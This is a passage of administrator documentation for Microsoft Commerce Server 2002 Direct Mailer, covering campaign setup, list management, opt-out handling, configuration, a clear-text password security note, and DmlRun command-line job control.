The following figure shows a message that was sent using the text message format. It strips all of the HTML objects, and only sends the text.

Note

  • The following screenshots are from Outlook Express. They may look different in other e-mail clients.
  • Text message format

    The following figure shows a message that was sent using the MIME message format. It encodes the HTML objects in MIME format, retrieves the SKY.jpg image from the location in the ASP page, and adds it as an attachment. The message only contains the text message.

    Mime message format

    The following figure shows a message that was sent using the message format MHTML. It encodes the HTML objects as images in MHTML format, and retrieves the SKY.jpg image from the location in the ASP page. It encodes the image in BASE-64, and gives the image a CID, to which it internally links the image SRC attribute.

    MHTML message format

Important

  • The three message formats (text, MIME, and MHTML) that are available in Business Desk when you create your direct mail campaign are the default values, and are only used if the user-specific e-mail format is NULL. If a user specific e-mail format was specified when you created or imported the mailing list, the user-specific format will be used when sending the direct mail.

Message Sources

Direct Mailer can use a URL or a file path as a message source. If you use a file, you must verify that it resides in a directory that Direct Mailer can access.

For performance reasons, Direct Mailer pre-loads the file content into memory, limiting the file size in memory. The file can be any size, but only the first two million ASCII characters or one million Unicode characters are loaded into memory.


Direct Mailer Databases

Direct Mailer uses SQL Server 2000 and SQL Server Agent extensively. The Direct Mailer database is created automatically in SQL Server when you install Commerce Server. You use SQL Server Agent, which runs continually, to schedule and run recurring jobs and to view details about your Direct Mailer jobs. You can check status, the date and time the Direct Mailer jobs were last run, and the next scheduled run time.

Direct Mailer uses the following databases when it is run as an integrated component of Commerce Server:

  • DirectMailer database. Contains the details and information associated with the Direct Mailer job. Direct Mailer uses this database to manage mailing lists, maintain job history, and schedule recurring Direct Mailer jobs.
  • Campaigns database. Contains the details and information associated with the direct mail campaign item.

The following figure shows Direct Mailer jobs and their details listed in SQL Server Agent.

To start a Direct Mailer job in SQL Server Agent

  1. Click Start, point to Programs, point to Microsoft SQL Server 2000, and then click Enterprise Manager.
  2. Expand the nodes to the following path: \Microsoft SQL Servers\SQL Server Group\<SQL Server Name>\Management\SQL Server Agent.
  3. Click Jobs. The Direct Mailer jobs appear in the right pane of the SQL Server Enterprise Manager.
  4. Right click the Direct Mailer job and select Start Job.

Note

  • To reschedule a Direct Mailer job, you use the Campaigns Manager module in Commerce Server Business Desk. For information about scheduling a Direct Mailer job, see Scheduling Direct Mail .

See Also

Scheduling Direct Mail


Opt Out Lists

Direct Mailer supports opting out or "filtering" a direct mail list against an opt-out list. For Direct Mailer jobs running as part of a campaign item, the platform supports the ability for the individual recipients to opt out of a direct mail campaign item. This is done by using an opt-out Active Server Page (ASP) page, which is shipped as part of the Solution Sites.

The developer that authors the ASP page for the Direct Mailer jobs from the Web server can provide links to an Opt-out.asp page, which enables the recipient to either opt out from the site or the direct mail campaign item by clicking the appropriate link. When a Direct Mailer job running as part of a campaign item is executed, Direct Mailer checks for the presence of the site level opt-out list and the campaign item level opt-out list. If either list exists, those recipients are subtracted from the original direct mail list and the resulting list acts as the new direct mail list.

To support opt-out lists from the command line interface, you use the OptoutListType, OptoutListLocation, and the OptoutListSQL parameters in a job file compatible with the Windows.ini file format. For more information about opting out using the command line interface, see the Job Data Section.

Important

  • After you have installed Commerce Server 2002 Service Pack 1, you can set access security on Commerce Server List Manager Service, Direct Mailer Service, and the Predictor Service using Dcomcnfg.exe.

    This procedure only applies to Commerce Server 2002 Service Pack 1 and is particularly important to run if you are using Opt-out Lists.

    For information about running Dcomcnfg.exe, see the Microsoft Knowledge Based article number Q328522.

See Also

Job Data Section


Direct Mailer Performance Features

The Direct Mailer feature uses a high-performance personalized mail generation engine. A simple two-tier Direct Mailer setup (two 550 MHz Pentium IIIs) with one Direct Mailer server and one personalization Web server can generate personalized messages at a rate of 40 messages per second, which translates to more than 3.5 million personalized mail messages per day over a 24-hour period. More information about Direct Mailer performance can be found at http://go.microsoft.com/fwlink/?LinkId=5165.


Using List Manager to Create and Manage Direct Mail Lists

List Manager is a Windows 2000 service that enables you to manage user lists. You use List Manager to create and manage lists of direct mail recipients. There are two types of lists: generic lists and mailing lists. Generic lists are lists imported into List Manager from the Reports module, the Segment Viewer module, a SQL Server table, or an ASCII text file. List Manager automatically attempts to convert generic lists into mailing lists if they contain rows of e-mail addresses. Mailing lists are used by Direct Mailer to create and send pieces of mail to selected recipients in the list. If the generic list does not contain e-mail addresses, the list is imported as a user list if the format requirements are met. For more information about mailing list formats, see Mailing List Formats.

After the lists are imported into List Manager, you can use them to run Direct Mailer jobs to target your users more successfully. For example, you can run reports that show you the characteristics and past behavior of your users, and then create a direct mail campaign to target advertisements or products to those users.

You can also use List Manager to export lists to a file or SQL Server database, add or subtract lists, copy lists, extract lists, and delete lists.

Create a List of Recipients

Process a List of Recipients

Create a List of Recipients

To create a list of recipients for a direct mail campaign, you use the List Manager module in Campaigns. Lists are created in List Manager by importing lists created by other applications, such as Microsoft SQL Server (to create a SQL table), Notepad (to create an ASCII text file), Microsoft Excel (to create a spreadsheet) or Microsoft Outlook (to create .pst files that contain messages, appointments, contacts, and other Outlook items).

You can generate a list of recipients from analysis reports, Segment Viewer, or from an external database, and then import that list to List Manager. For information about importing a list into List Manager, see Importing and Exporting Lists.

Process a List of Recipients

To process a list of recipients, Direct Mailer firsts loads the list of recipients from List Manager into a job table. It then iterates through the list of users, sending the data about the recipients through the Direct Mailer pipeline.

See Also

Mailing List Formats

List Manager Service Account

Permissions Required to Export Static Reports and Segments to List Manager

Assigning SQL Server Database Roles


Closing the Loop with Direct Mailer

Once you collect user data from your Web site, you can analyze your business, and then use the results of that analysis to refine how you target your users. For example, you can identify specific groups of users by running a report, and then exporting the results to a list in List Manager. After you export a list, you can use the Users module in Profiles to update your user profiles. You can then target ads or discounts to those users with a specific profile. For example, you can target ads to female users who visit your site three times a week, and who have purchased three or more products.

You can directly impact your Web site business by using this “closed loop” functionality. The following closed loop example shows how to customize user profile data, and then use Direct Mailer to deliver an advertisement to those users who meet your target criteria. After you analyze your results, you continue the cycle.

Following is an overview of the steps you must perform to close the loop with Direct Mailer.

  • Step 1: Generate a List of Users
  • Step 2: Collect User Data
  • Step 3: Label the Users in Your List
  • Step 4: Target Your Users
  • Step 5: Analyze the Results


Step 1: Generate a List of Users

You can export a static Analysis report to List Manager, for example, the Registered User Properties report to generate a list of users. After you generate the list of users, you can target your ad to them through Direct Mail. For information about exporting reports to List Manager, see Exporting a Report to List Managercs_bd_campaigns_CJIM.

Note

  • The user list that you generate must contain a user id column (rcp_guid). For information about user lists, see User Lists.


Step 2: Collect User Data

You can extend your user profile with a new property that you can target. A profile is a single instance of a profile definition containing the data that the profile definition collects. For example, you can design a profile definition to collect user data, such as Favorite Sport. You use the Profiles Resource or the Users module in Commerce Server Business Desk to add new properties to your profile definition. For information about extending your user profile, see Adding Properties to Profile Definitions in the Profiles Resource.


Step 3: Label the Users in Your List

You use the Find function in the Business Desk Users module to find user profile instances in your mailing list. After you find the profile instances in your mailing list, you can use the update query mode to set your profile properties to the values you want to target your list of users to. For information about finding groups of users in a mailing list, see Finding User Profiles in a Mailing List. For information about editing groups of users, see Editing Multiple User Profiles.


Step 4: Target Your Users

You can create a direct mail campaign to target an advertisement to the list of users that match the value to which you set your profile property in Step 3. Direct Mailer uses the list of users, which resides in List Manager, to send pieces of mail to those users you want to target. For information about creating a Direct Mail campaign, see Creating Direct Mail.


Step 5: Analyze the Results

To determine if your direct mail campaign was successful, you use the Analysis modules in Commerce Server Business Desk to analyze user activity by running reports against the Data Warehouse. For information about running a report, see Running Reports.


Setting Up a Direct Mail Campaign

The Business Desk Campaign Manager module provides an interface for creating direct mail. You can manage Direct Mailer jobs for each direct mail campaign through the Campaign Manager. You can create new direct mail campaigns, personalize messages, and modify properties. Attachments can be added to your direct mail, and you can schedule when the Direct Mailer jobs will run. You can also test your direct mail using a test mailing list before sending it to production.

The following is an overview of the steps you perform to set up and run a direct mail campaign:

Note

The Direct Mailer service must be running before you can run the Direct Mail Campaign.

  1. Configure the Direct Mailer properties:
    • To control the way your Direct Mailer jobs are run, you use Commerce Server Manager.
  2. Develop the message body to be delivered to the recipients. For example, if you are delivering personalized message bodies, develop a personalized Active Server Page (ASP) that will provide the message body to Direct Mailer.
  3. Identify and set up the data source that contains data about the recipients:
    • To generate a list of recipients from data in the Data Warehouse, use the Reports module in Commerce Server Business Desk. To view the static reports you want to use, select the reports, and then export the resulting list to the List Manager. For more information about importing and exporting lists in List Manager, see Importing and Exporting Lists.
    • To generate a list of recipients from a file, you need the path of the file.
    • To generate a list of recipients from a SQL Server database, you need the connection string and the SQL Server query string.
  4. Create and schedule the direct mail campaign. Use the Campaign Manager module to specify the following information:
    • Name of campaign and customer
    • Name of the list of recipients
    • Start time and date of the direct mail campaign
    • Uniform Resource Locator (URL) or static file where Direct Mailer should get the personalized message body
      Note
    • The URL of the personalized message body must have a valid HTML content type extension, such as .htm or .asp. Invalid extensions such as .xml result in a Collaboration Data Objects (CDO) error and the message will not be sent.

The direct mail campaign runs at the scheduled time. For information about testing your direct mail lists before sending them to production, see Testing Direct Mail.

See Also

About Campaigns

Creating a Marketing Campaign

Creating Direct Mail

Managing Lists of User Records


Developing Direct Mail Content

Direct Mailer can construct message bodies from either Web pages or static files. You can also extend Direct Mailer to construct messages using other sources, such as SQL Server templates, by adding custom components to the Direct Mailer pipeline. For more information about adding custom components to the Direct Mailer pipeline, see Using the Direct Mailer Pipeline.

The only way to send individually personalized mail is by using a Web page. To deliver personalized message bodies, you must first develop the personalized Web page. You send targeted e-mail messages with Direct Mailer by using customer information and custom Active Server Pages (ASP). Direct Mailer acts similarly to a Web browser by gathering the UserID for the customer from a cookie, using the profile service to obtain the user profile, and finally, personalizing the page.

Note

  • If you specify a text attachment when sending a mailing in MIME Encapsulation or Aggregate HTML Documents (MHTML) format from Direct Mailer, the personalized Web page will show up as an attachment when viewed with Microsoft Outlook. This issue applies only with Outlook, not with Microsoft Outlook Express.


Configuring Direct Mailer

Before you run Direct Mailer, you may want to review and modify the properties for controlling the way your jobs are run. The Direct Mailer properties operate at the global resource level.

The Direct Mailer resource connection string is set during the unpacking process. You can modify the Direct Mailer resource connection string to the DirectMailer database, which stores information such as mailing lists, messages, and direct mail event data.

Note

  • Do not configure the Direct Mailer global resource to use SQL Authentication. For information about switching from SQL Authentication to Windows Integrated Security, see Security Risk: Using SQL Authentication for Direct Mailer Global Resource.

To modify the properties of Direct Mailer

To modify the Direct Mailer resource connection string

To modify the properties of Direct Mailer

  1. Expand Commerce Server Manager, open the Commerce Group you want to administer, and then click Global Resources.
  2. Right click Direct Mailer, and then select Properties.
  3. In the DirectMail on <server name> Properties dialog box, on the Properties tab, do the following:
Use this (Properties) | To do this (Selected Property Value)
Delivery Locations Type the delivery location.

There must be at least one entry specified. You can use a drop directory, or an SMTP server address.

If you use a drop directory, your Direct Mail jobs are processed by an Exchange Server, which delivers the files asynchronously. Because the link between Direct Mailer and Exchange is asynchronous, the jobs may be delivered at a quicker rate.

If you use an SMTP server, which is included with Windows 2000 Server (or other Windows Server versions) the Direct Mail jobs are delivered synchronously.

Note

  • Commerce Server 2002 uses Collaboration Data Objects (CDO) that provides a set of COM interfaces through which Direct Mailer operates. Direct Mailer primarily employs two major interfaces: IMessage and IConfiguration, which enable you to compose, format, and send Simple Mail Transfer Protocol (SMTP) messages over the network, as well as perform local delivery.

For information about configuring an SMTP Server for Direct Mailer, see Using Multiple Delivery Locations.
Delivery Method Type the value that determines how the mailings are to be delivered.

1 - SMTP Server

2 - Locally to a drop directory
Log Folder Path | Type the location of the Direct Mailer operational log file.
Maximum Error Percentage | Type the maximum percentage of non-fatal errors per job.
Maximum Thread Count | Type the maximum number of threads per job.
Messages Per Hour Type the number of messages per hour that this server can produce.

If set to zero (0), Direct Mailer processes messages at the fastest possible rate.

Number of Retries Type the number of times a connection to the DirectMailer database is retried when a connection failure occurs. This property sets the number of retries used for delivery locations.

Once the number of retries has been exhausted, the active job is ended.

Performance Update Interval | Type the performance update interval in seconds.
Pipeline Configuration File | Type the location of the pipeline configuration file, DMLPipe.pcf.
Proxy Bypass | Type the local computers where a proxy check is not required, or a value that represents all local computers.
Proxy Server | Type the name of the proxy server to use.
Retry Interval | Type the number of seconds before a connection to the database is retried.

Note

  • The Log Directory, Messages Per Hour, Proxy Bypass, Proxy Server, and Connection String properties are based on a per service instance. This means that any changes made to the values for these properties require Direct Mailer to be restarted. The remaining Direct Mailer properties are based on a per job instance and do not require Direct Mailer to be restarted.

To modify the Direct Mailer resource connection string

  1. Expand Commerce Server Manager, expand Global Resources, right click Direct Mailer, and then select Properties.
  2. In the DirectMail on <server name> Properties dialog box, on the Connection Strings tab, select Direct Mailer Database, and then click Modify:
  3. In the Data Link Properties dialog box, do the following:
    Use this | To do this
    Select or enter a server name | Select a server name from the drop-down list, or type the path to the server that contains the database you want to access.
    Use Windows NT Integrated security Click to specify that the provider request a secure (or trusted) connection to a SQL Server running on Microsoft Windows NT.

    This is the recommended configuration.
    Use a specific user name and password
            Click to use a SQL Server user name and password to authenticate your logon information to the data source.

    This is not recommended.
    User name Type the user ID to use for authentication when you log on to the data source.

    This is not recommended.
    Password Type the password to use for authentication when you log on to the data source.

    This is not recommended.
    Blank password | Select this option to return a blank password in the connection string. Not recommended.
    Allow saving password | Select this option to allow the password to be saved with the connection string.
    Select the database on the server | Select the database name that you want to access.
    Attach a database file as a database name | Do not use this option. Commerce Server 2002 does not support Microsoft SQL Server version 6.5 or earlier.
  4. Click Test Connection to ensure that you have entered server and database information correctly, and then click OK to close the connection message.
  5. To close the Data Link Properties dialog box, click OK.

    In the Direct Mail on <server name> Properties dialog box, on the Connection Strings tab, the connection string appears in the Connection strings in this resource box.

  6. To exit the Direct Mail on <server name> Properties dialog box, click OK.

See Also

Securing the Direct Mailer Database

Using Direct Mailer and Windows Authentication

Direct Mailer Service Account


Security Risk: Using SQL Authentication for Direct Mailer Global Resource

If you configure the Direct Mailer global resource to use SQL authentication, passwords are stored in clear text when the Direct Mailer service is invoked.

For example, you perform the following steps:

  1. Configure the Direct Mailer global resource to use SQL authentication.
  2. Create a direct mailer campaign using Business Desk.
  3. On the Test section of the Campaign Definition page, click Send Test Mail. This invokes the Direct Mailer service.
  4. Check the lm_master_operations database table, and you will see an entry similar to the following, with the password stored as clear text.

Op_id Op_desc Op_list_destination

0B150E06-529D-4A39-97A3-B90DC9150E70 Exporting the list 'TEST1' to the SQL
table 'ML__0E388EAC_A155_459A_A94A_0FCCAE4B97F5_'
Provider=SQLOLEDB.1;Persist Security Info=True;
Integrated Security='SSPI';Initial Catalog=DirectMailer;Data Source=TESTSERVER;Network
Library=dbmssocn;Use Procedure for Prepare=1;Auto Translate=True;Packet
Size=4096;Workstation ID=TESTSERVER;Use . . .

0DA26B3B-9163-4BFE-BD4F-F0AF872DFE30 Exporting the list 'mailingListTEST1'
to the SQL table 'ML__803B4C6E_4EC2_490F_B30C_8771E5AFCC10_'
Provider=SQLOLEDB.1;Integrated Security='SSPI';Persist
Security Info=True; Integrated Security='SSPI';Initial Catalog=DirectMailer;Data
Source=TESTSERVER;Network Library=dbmssocn;Use Procedure for
Prepare=1;Auto Translate=True;Packet Size=4096;Workstation . . .

The connection string of the Direct Mailer global resource is saved in the database in clear text.

Using Windows Integrated Security for the Direct Mailer global resource

If you use Windows Integrated Security for the Direct Mailer global resource, the password is not saved in the database.

However, when you switch from SQL authentication to Windows Integrated Security, and you do not erase the password although it is disabled on the Direct Mailer properties dialog box, the password remains in the connection string, and goes into the database as clear text.

You must restart the Direct Mailer service to clear the password from the database. You can do this through the Services panel, or from the command line by typing net stop dmlservice, net start dmlservice.

Running the IISReset command does not clear the password from the database.

For detailed instructions for configuring the Direct Mailer service to use Windows Integrated Security, see Configuring Direct Mailer and Windows Authentication.


Modifying Direct Mailer Speed

Direct Mailer is designed so that you can limit the number of messages it processes per hour so that the job does not overload the production Mail server. To do this, you modify the Messages Per Hour property, which determines how many messages the Direct Mailer processes in an hour. If the Messages Per Hour property is set to zero (0), Direct Mailer processes the messages as fast as possible.

To modify Direct Mailer speed

  1. Expand Commerce Server Manager, expand Global Resources, right-click Direct Mail on <SQL Server Name>, and then click Properties.
  2. In the Properties dialog box, select Messages Per Hour, and in the Selected Property Value box, type the number of messages per hour that you want Direct Mailer to send.

    If you set Selected Property Value to zero (0), Direct Mailer processes messages at the fastest rate possible.

  3. Click OK.
  4. Restart Direct Mailer. For information about restarting Direct Mailer, see Restarting Direct Mailer.

The new setting is applied immediately to all Direct Mailer jobs.

Besides the Messages Per Hour property, there are other factors that determine how fast Direct Mailer processes messages. For example:

  • Direct Mailer performance is dependent on the Collaboration Data Objects (CDO) for Microsoft Windows 2000.
  • Direct Mailer calculates the delay value for each pipeline cycle, based on overall performance and throttling settings.
  • Direct Mailer performance is closely related to Simple Mail Transfer Protocol (SMTP) server performance and throttling requirements.


Using Multiple Delivery Locations

Direct Mailer uses the same list of delivery locations for every job running, even when it is configured to use multiple delivery locations, such as drop directories or Simple Mail Transfer Protocol (SMTP) servers. Direct Mailer reads the list of delivery locations from the Administration database and is administered using Commerce Server Manager.

If the Delivery Method property is set to (2), Direct Mailer treats each entry in the list as a fully qualified path to the SMTP server pickup directory. If the Delivery Method property is set to (1), Direct Mailer requires each entry in the list to use the following format:

<SMTP server address>[: port]

Specifying the port is optional, but if it is not specified, Direct Mailer uses port 25.

When a Direct Mailer job is started, the first recipient in the direct mail list uses the first delivery location. The next recipient uses the subsequent delivery location. This delivery process is repeated until there are no new delivery locations. In this case, the delivery locations are recycled back to the first delivery location.

If a failure occurs in mailing, Direct Mailer does not retry another location, nor does it perform timeout or availability checking. Therefore, any given recipient can only use the delivery location that is assigned them. Direct Mailer also tracks the failures of a clustered DirectMailer database or failure of the drop point (SMTP or drop directory). For information about Direct Mailer availability and failures of a clustered DirectMailer database, see Direct Mailer.

To use multiple delivery locations

Configuring an SMTP server for Direct Mailer

To use multiple delivery locations

  1. Expand Commerce Server Manager, expand Global Resources, right-click Direct Mailer, and then click Properties.
  2. In the Properties dialog box, select Delivery Locations, and in the Selected Property Value box, type the fully qualified path to the drop directory or SMTP Server. Universal naming convention (UNC) paths are not supported.

    For multiple delivery locations, separate each location with either a comma or semicolon. The comma and semicolon are the only supported delimiters used to separate different paths.

  3. Select Delivery Method, and in the Select Property Value box, type 2 to deliver mailings to a drop directory, or 1 to deliver mailings to an SMTP server.
  4. Click OK.

The new setting is applied immediately to all Direct Mailer jobs.

Configuring an SMTP server for Direct Mailer

The following procedures explain how to configure an SMTP server to act as a relay server for the rest of your system.

To configure the SMTP server as a local relay server

  1. Click Start, point to Programs, point to Administrative Tools, and then click Internet Services Manager.
  2. In the Internet Information Services dialog box, expand the server name, right-click Default SMTP Virtual Server, and then click Properties.
  3. In the Default SMTP Virtual Server Properties dialog box, on the Access tab, click Relay.
  4. In the Relay Restrictions dialog box, click Add.
  5. In the Computer dialog box, click Group of computers, and then in the Subnet Address box, type the Subnet address for the SMTP server. In the Subnet mask box, type the Subnet mask address for the SMTP server, and then click OK.
  6. In the Relay Restrictions dialog box, click OK.
  7. In the Default SMTP Virtual Server Properties dialog box, click OK.

The SMTP server is configured for use by Direct Mailer.

Note

  • For information about firewalls and ports for an SMTP server, see Deploying a Secure Site.

See Also

Securing the Direct Mailer Database

Using Direct Mailer and Windows Authentication

Direct Mailer Service Account


Restarting Direct Mailer

You can restart Direct Mailer from either the command line interface or through the administration tools.

To restart Direct Mailer from the command line interface

To restart Direct Mailer using Services

To restart Direct Mailer from the command line interface

  1. At the command line, type the following: net stop dmlservice
  2. When the service has stopped, type the following: net start dmlservice

To restart Direct Mailer using Services

  1. Open Services from the Start menu. Click Start, point to Programs, point to Administration Tools, and then click Services.
  2. In the Services screen, in the right pane, right-click Commerce Server Direct Mailer, and then select Restart.

See Also

Modifying Direct Mailer Speed

Using Multiple Delivery Locations


Monitoring Direct Mailer Jobs

You can check the status of your Direct Mailer jobs to determine if a job is currently running, has been suspended or terminated, or has completed successfully. You can view the status of your Direct Mailer jobs using the command line interface. You can also check to see if any errors occurred while running your Direct Mailer jobs.

To view Direct Mailer job status using the command line interface

To view Direct Mailer job errors

To view Direct Mailer job status using the command line interface

  • At the command line, type DmlRun /list to view all Direct Mailer jobs.

The list of Direct Mailer jobs is displayed.

The following information is displayed for each Direct Mailer job:

  • Job identification number
  • Job status
  • Job description
  • Site name
  • Campaign item identification number
  • Campaign item name

Note

  • Site name, campaign item identification number, and campaign item name are only displayed if they exist for the Direct Mailer job.

The following table lists job status codes.

Code | Description
0 | The job was created but not initialized.
1 | The job was completely defined but not running (Inactive) or the job was terminated.
2 | The job completed.
3 | The job is running (Active).
4 | The job is running but currently suspended (paused, but still Active).
-2 | The job was stopped by Direct Mailer due to serious problems or because the error threshold limit was reached.
-3 | The job was defined as css_site, but not all the data was available at run time.

To view Direct Mailer job errors

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. In SQL Server Enterprise Manager, expand Microsoft SQL Servers, expand SQL Server Group, and then expand the name of the database server containing the Direct Mailer database.
  3. Expand Direct Mailer, select Tables, right click dml_job_errors, point to OpenTable, and then select Return all rows.

The Direct Mailer job errors are listed in the table.


Pausing, Stopping, and Deleting a Direct Mailer Job

You can pause a Direct Mailer job at any time. If you pause a Direct Mailer job, Direct Mailer stops processing the list of recipients, but you can restart it at a later time. The job status will remain Paused (4) until the job is restarted. Direct Mailer records the recipient it will process next, so that if the job is paused, it will restart where it left off. If the hard drive crashes, or there is a power failure, it will start approximately where it left off, after it is restarted. That is, it will start within n of where it left off, where n=number of threads configured in the Direct Mailer. For information about restarting a Direct Mailer job, see Restarting a Direct Mailer.

You can stop (terminate) a Direct Mailer job while it is running. Once a Direct Mailer job has been stopped, the job status will switch to Inactive (1). After the job is restarted, the job will automatically restart the job where it left off.

If SQL Server becomes unavailable, Direct Mailer retries until a connection to the database is made, or until the configured number of retries elapses. If the configured number of retries elapses or a connection to the database is made, the status remains Running (3), since the status cannot be updated in SQL. When SQL Server becomes available again, you can restart the job, or restart Direct Mailer. For information about restarting Direct Mailer, see Restarting Direct Mailer.

You can delete a Direct Mailer job if the job has been stopped, completed, or if the job failed. You cannot delete a Direct Mailer job while it is running. If you delete a Direct Mailer job, all information about the job is deleted from Direct Mailer. You must recreate the job if you want to run it again.

To pause a Direct Mailer job from the command line interface

To stop a Direct Mailer job from the command line interface

To delete a Direct Mailer job from the command line interface

Note

  • Pausing, stopping, and deleting a Direct Mailer job can only be done using the command line interface. You cannot use the Business Desk Campaign Manager module to pause, stop, or delete a Direct Mailer job.

To pause a Direct Mailer job from the command line interface

  1. At the command line, type DmlRun /list to display a list of all Direct Mailer jobs.
  2. Note the jobID number of the Direct Mailer job you want to pause, and then type:

    DmlRun /pause:<jobID number>

    The Direct Mailer job is paused.

To stop a Direct Mailer job from the command line interface

  1. At the command line, type DmlRun /list to display a list of all Direct Mailer jobs.
  2. Note the jobID number of the Direct Mailer job you want to stop, and then type:

    DmlRun /term:<jobID number>

    The Direct Mailer job is stopped.

To delete a Direct Mailer job from the command line interface

  1. At the command line, type DmlRun /list to display a list of all Direct Mailer jobs.
  2. Note the jobID number of the Direct Mailer job you want to delete, and then type:

    DmlRun /delete:<jobID number>

The Direct Mailer job is deleted.

See Also

Deleting and Restoring a Campaign Item

Managing and Controlling Direct Mailer Jobs from the Command Line

Restarting a Direct Mailer Job

Viewing Direct Mailer Job Status


Restarting a Direct Mailer Job

If a Direct Mailer job stops before it completes processing, Direct Mailer updates the job status, indicating that the job has stopped and did not complete successfully. You use the DmlRun /list command from the command line interface to view the Direct Mailer job. To automatically return the job status on the console, you use the /wait option. For information about viewing Direct Mailer job status, see Monitoring Direct Mailer Jobs.

If a Direct Mailer computer stops, (for example, if the hard drive crashes) all Direct Mailer jobs that are running on that computer stop. If a Direct Mailer job stops before it completes processing, you must manually restart the jobs that were stopped. After the job is restarted, it will start approximately where the job left off. That is, it will start within n of where it left off, where n=number of threads configured in the Direct Mailer.

To restart a Direct Mailer job

  1. At the command line, type DmlRun /list to display a list of all Direct Mailer jobs.
  2. Note the jobID number of the Direct Mailer job you want to restart, and then type:

    DmlRun /run:<jobID number>

The Direct Mailer job is restarted.

See Also

Managing and Controlling Direct Mailer Jobs from the Command Line


Running Direct Mailer in Stand-alone Mode

The stand-alone mode of Direct Mailer facilitates it as a platform component that can be easily integrated with line-of-business systems. For example, advertisers prefer that Commerce Server analysis reports be mailed to them. This use ignores any communication from the application to the Direct Mailer. For example, Direct Mailer can mail a file containing an Ad Placement report to a list of advertisers. The job information in this case comes from command line parameters and a configuration file.

To run Direct Mailer from the command line interface you use the executable file, DmlRun, together with command line options. You can use these options to perform several tasks, such as to create, run, monitor, and delete Direct Mailer jobs.

Note

  • To schedule direct mail campaigns, you either use the Campaign Manager module in Business Desk or use the Windows Task Scheduler manually. The Windows Task Scheduler can run a batch file that uses the command line interface.

The following is an overview of the steps required to set up and run Direct Mailer in stand-alone mode:

  1. Develop the content to be delivered to the recipients. If necessary, develop the Web page or static file that will provide the personalized message body.
  2. Identify the data source for the list of recipients.
  3. Create the Direct Mailer job file.
  4. Create the Direct Mailer job by using the /create option from the command line interface.
  5. Run the stand-alone job from the command line.


Creating a Direct Mailer Job File

Before you create a stand-alone Direct Mailer job, you must create a Direct Mailer job file that specifies information about the job, such as whether it delivers personalized message bodies, the format of mail message headers, and the location of the list of recipients.

You can create a job file using any text editor. The job file must be a text file that is compatible with Microsoft Windows .ini file format.

Add the following sections to your job file:

  • Job Data Section. Specify key parameters about the job, such as the data source for the content, list of recipients, message format type, subject, and opt-out list.
  • Job Attachments Section. This section is optional. Specify the number and the source of the attachments.

After Direct Mailer runs, it writes a Results section in the job file. The parameters in the Results section are JobID, ErrorCode, and ErrorString. If a job is successful, JobID and an ErrorCode=0 are written. If a job was unsuccessful, the JobID, the ErrorCode number, and the ErrorString are written.

Job Data Section

The following table lists the parameters that you can define for job data in the job file.

Parameter | Type | Description
JobDesc | string (128 max) | Optional. Type a description for the job.
TemplateURL | string (2084 max) | Optional. Specify the mail template source in Uniform Resource Locator (URL) form, either http:// or file://. If you are using a flat file as the template, type a full server-centric local path name. Universal naming convention (UNC) path names are supported.
MailFrom | string (256 max) | Required. Type the From field of the e-mail.
MailSubject | string (256 max) | Optional. Type the Subject field of the e-mail.
MailReplyTo | string (256 max) | Optional. Type the e-mail address that will receive responses.
DefaultFmt integer Optional. Specify the default message format for the content to be mailed.

1 - Plain text
2 - MIME Encapsulation of Aggregate HTML Documents (MIME)
3 - MIME Encapsulation of Aggregate HTML Documents (MHTML)
JobLocale | string (255 max) | Optional. Specify the default locale for the job.
MailPersonalize integer Optional. Specify whether you are delivering personalized content.

1 – You are delivering personalized content

0 - You are not delivering personalized content

Notes

  • Any non-integer (that is, character value(s)) have the same effect as entering "MailPersonalize=0".
  • Any non-zero integer will have the same effect as entering "MailPersonalize=1".
MailingListType integer Required. Specify the mailing list type.

1 - Flat file
2 - List Manager list
3 - SQL Server query
MailingListLocation string (256 max) Required. Specify the location of the mailing list.

For flat files, specify the full, local, server-centric path name. Do not include any schema prefixes, such as file://.

For SQL Server queries, specify the connection string.

For List Manager lists, specify the list identification number.

UNC path names are supported.
MailingListSQL | string (256 max) | Specify the SQL statement to mail from. A value is required if the MailingListType = 3, otherwise, it is ignored.
OptoutListType integer Optional. Specify the opt-out list type.

1 - Flat file
2 - List Manager list
3 - SQL Server query
OptoutListLocation string (256 max) Optional. Only required if OptoutListType is used. Specify the location of the opt-out list.

For flat files, specify the full, local, server-centric pathname. Do not include any schema prefixes, such as file://.

For SQL Server queries, specifies the connection string.

For List Manager lists, specifies the list identification number.

UNC path names are supported.
OptoutListSQL | string (256 max) | Specify the SQL statement to opt-out from. A value is required if the OptoutListType = 3, otherwise, it is ignored.
UserFlags | integer | Optional. Specifies any user-defined flags associated with the job.

Job Attachments Section

The following table lists parameters you can define for job attachments. This section of the job file is optional.

Parameter | Type | Description
AttachmentCount | integer | Specify the number of attachments (greater than 0).
Attachment_<n> | string (2084 max) | Specify the attachment URL or file system path for the <n> attachment, where n is a number between 1 and the number specified for AttachmentCount. Verify that the URL includes a schema prefix, such as http:// or file://. For file attachments, include the full, server-centric path name. UNC path names are supported.

Results Section

After Direct Mailer runs, it writes a Results section to the job file. The following table lists the parameters that Direct Mailer writes to the Results section.

Parameters | Type | Description
ErrorCode | HRESULT | 0 - The operation (create, start, delete, and so forth) ran successfully. If the operation was unsuccessful, an error code is written.
ErrorString | string (256 max) | If the ErrorCode indicates the job did not complete successfully, this parameter includes descriptive text explaining the error. Otherwise, this field is blank.
JobID | GUID | This parameter specifies the new job ID that can be used for starting, stopping, or handling this job.

See Also

Opt Out Lists


Creating and Running a Direct Mailer Job

After you have created a job file, you can set up a stand-alone Direct Mailer job. To create the job, you use the /create option from the command line interface.

To create a stand-alone Direct Mailer job

  1. At the command line, type:

    DmlRun /create:filename=<job file name>

    Type a full path name for the job file. Direct Mailer looks for the job file in the current directory if no directory is specified.

    If the parameters of the job data file are incorrect, Direct Mailer writes an error code and a description of the error to the Results section of the job file.

    The Direct Mailer job is created.

  2. To get the jobID number, type:

    DmlRun /list

  3. To run the job, type:

    DmlRun /run:<jobID number>

    The Direct Mailer job is started.

  4. To create and start a job, type:

    DmlRun /create:filename=<job file name> /execute

    The Direct Mailer job is created and started.

See Also

Creating a Direct Mailer Job File

Managing and Controlling Direct Mailer Jobs from the Command Line


Managing and Controlling Direct Mailer Jobs from the Command Line

You can manage a Direct Mailer job from the command line interface by using the Win32 console application DmlRun. Direct Mailer includes a set of command line options that you use with DmlRun. These options enable you to create, run, monitor, and delete Direct Mailer jobs.

For example, to list all your Direct Mailer jobs and review the jobID numbers, you type DmlRun /list. To stop a specific job that Direct Mailer is processing, for example 1456, you type DmlRun /term:1456.

The following table lists the options you can use with DmlRun.

